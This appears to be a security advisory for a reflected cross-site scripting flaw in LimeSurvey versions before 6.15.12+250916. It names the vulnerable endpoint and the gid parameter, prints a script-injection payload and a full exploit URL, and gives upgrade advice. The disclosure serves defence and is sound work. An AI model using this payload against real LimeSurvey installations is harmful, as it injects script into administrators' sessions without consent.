| Vulnerable Version | Limesurvey <v6.15.12+250916 |
| Category | Injection |
| CWE | Improper Neutralization of Input During Web Page Generation (CWE-79) |
| CVSS | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| Vulnerable Endpoint | /index.php/questionAdministration/create |
| Vulnerable Parameter | gid |
-
After configuring and running the docker image, visit the admin portal and login with admin credentials.
-
Create a survey and get its ID.
-
Visit
/index.php/questionAdministration/createwithgidas query parameter and set it to1}</script><script>alert(387)</script><script>x=andsurveyidto the created survey ID.Payload Used:
1}</script><script>alert(387)</script><script>x=Full working exploit:
/index.php/questionAdministration/create?surveyid=[YOUR-ID-HERE]&gid=1}</script><script>alert(387)</script><script>x= -
On visiting the page with above payload, we see an alert box.
Upgrade to Limesurvey >=6.15.12+250916